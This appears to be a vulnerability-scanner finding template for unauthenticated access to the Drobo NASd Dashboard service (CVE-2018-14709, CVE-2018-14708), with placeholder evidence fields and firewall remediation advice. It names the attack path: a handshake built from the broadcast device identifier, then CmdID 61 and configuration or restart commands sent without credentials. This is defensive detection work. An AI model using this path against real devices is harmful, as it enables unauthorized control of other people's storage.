description: "The Drobo NASd service announced its device identifier ({{s.used}}) on TCP {{port}}, then accepted a Drobo Dashboard handshake built from that public identifier alone on TCP 5001 and returned the system information (temperature and uptime) for the CmdID 61 command. NASd authenticates Dashboard clients only by this broadcast identifier (CVE-2018-14709) and exchanges every command and reply in cleartext (CVE-2018-14708), so anyone on the network can drive the Dashboard API, including the configuration and restart commands."
remediation: "Drobo will not release a fix. Restrict TCP 5000 and 5001 on the NAS to the management hosts that run Drobo Dashboard (firewall or isolated management VLAN), or replace the device."
confidence_delta: 0.45
qod: 75
evidence: "TCP {{port}}: <ESATMUpdate> greeting, device id {{s.used}}; TCP 5001: DRINETTM handshake + CmdID 61 without credentials returned Temperature={{s.temp}}, UpTime={{s.uptime}}"